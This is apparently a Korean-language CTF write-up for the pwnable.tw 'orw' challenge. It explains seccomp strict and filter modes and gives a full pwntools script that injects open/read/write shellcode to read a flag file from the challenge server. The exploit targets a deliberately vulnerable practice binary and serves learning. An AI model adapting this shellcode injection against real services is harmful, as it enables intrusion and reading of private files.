ghkdtlwns987
[pwnable.tw] orw 본문
main 함수를 보면 orw_seccomp 라는 함수가 있고, read() 함수로 값을 입력받는다.
보호기법으로는 NX-bit 가 비활성화 되어 있는 것으로 보아, 쉘 코드를 넣어주면 될 거 같다.
그렇다면 orw_seccomp() 함수가 뭔지 확인해보자.
여기서 적당히 prctl() 함수가 있다.
prctl() 함수는 리눅스 내부에서 프로세스를 관리할때 사용하는 함수인데 sys/prctl.h 에 선언되어 있다.
이 함수에 대해 깊게 알 필요는 없고,
seccomp filter 을 사용할 때 사용하는 함수이고, prctl 의 인자에 어떤 값이 들어가느냐에 따라 그 용도는 달라진다는 것만 알고 있으면 된다.
그렇다면 seccomp filter 에 대해 알아보자.
seccomp filter 은 strict mode 와 filter mode 가 존재한다.
먼저, filter mode 는 사용자가 지정한 함수의 syscall 만 호출 할 수 있고,
strict mode 는 read, write, exit, sigreturn 시스템 콜의 호출만을 허용한다.
filter mode는 공격자가 악의적으로 & 연산을 통해 우회할 수 있다.
하지만 strict mode는 &연산으로는 우회가 불가능하다.
+strict mode 는 다른 방법으로 exploit 해야 하는데, 이는 너무 깊숙히 들어가게 되므로 넘어가겠다.
orw문제는 shellcode를 넣어주는데, 일반적은 쉘 코드는 execve('/bin/sh') 와 같은 형태를 띄는데,
이 문제에서는 strict mode 이기 때문에, execve() syscall 호출을 막기 때문에, 다른방법으로 exploit 해야 한다.
그렇다면 shellcode를 넣어줄 때, read,write, 함수로만 exploit 해야 하는 건데,
shellcode를 작성할 때, flag() 값을 출력해주도록 쉘 코드를 짜면 될 것이다.
위의 그림과 같이 shellcraft 로 쉘 코드를 짜주면 된다.
최종 exploit 코드는 다음과 같다.
from pwn import*
import argparse
context(arch='i386',os='linux')
context.terminal=['tmux','splitw','-h']
context.log_level = 'debug'
parser = argparse.ArgumentParser()
parser.add_argument('-r','--remote',action = 'store_true',help='-r -> remote')
args = parser.parse_args()
host = 'chall.pwnable.tw'
port = 10001
if args.remote:
r = remote(host,port)
else:
breakpoint = {'orw_seccomp':0x080484ce,'after_read':0x08048582,'before_read':0x0804857d}
r = process('./orw')
gdb.attach(r, 'b*{}'.format(breakpoint['orw_seccomp']))
elf = ELF('./orw')
#shellcode = asm(shellcraft.i386.linux.sh())
#shellcode = shellcraft.open('/home/orw/flag')
shellcode = shellcraft.pushstr('/home/orw/flag')
shellcode += shellcraft.open('esp',0,0)
shellcode += shellcraft.read('eax','esp',100)
shellcode += shellcraft.write(1,'esp',100)
shellcode = asm(shellcode)
r.sendlineafter('shellcode:',shellcode)
r.interactive()
+ 전에 어딛선가 문제를 풀 때, shellcraft.sh() 와 같은 형태를 띈 쉘 코드를 쓰는게 아니라
위와같은 쉘 코드를 쓴 적 있었는데, 이유를 몰랐었다. 하지만 이러한 궁금증을 해결한 것 같다.
'pwnable.tw' 카테고리의 다른 글
[pwnable.tw] hacknote (0) | 2020.12.07 |
---|---|
[pwnable.tw] dubblesort (0) | 2020.11.22 |
[pwnable.tw] 3x17 (0) | 2020.11.20 |
[pwnable.tw] calc (0) | 2020.11.18 |
[pwnable.tw] start (0) | 2020.11.16 |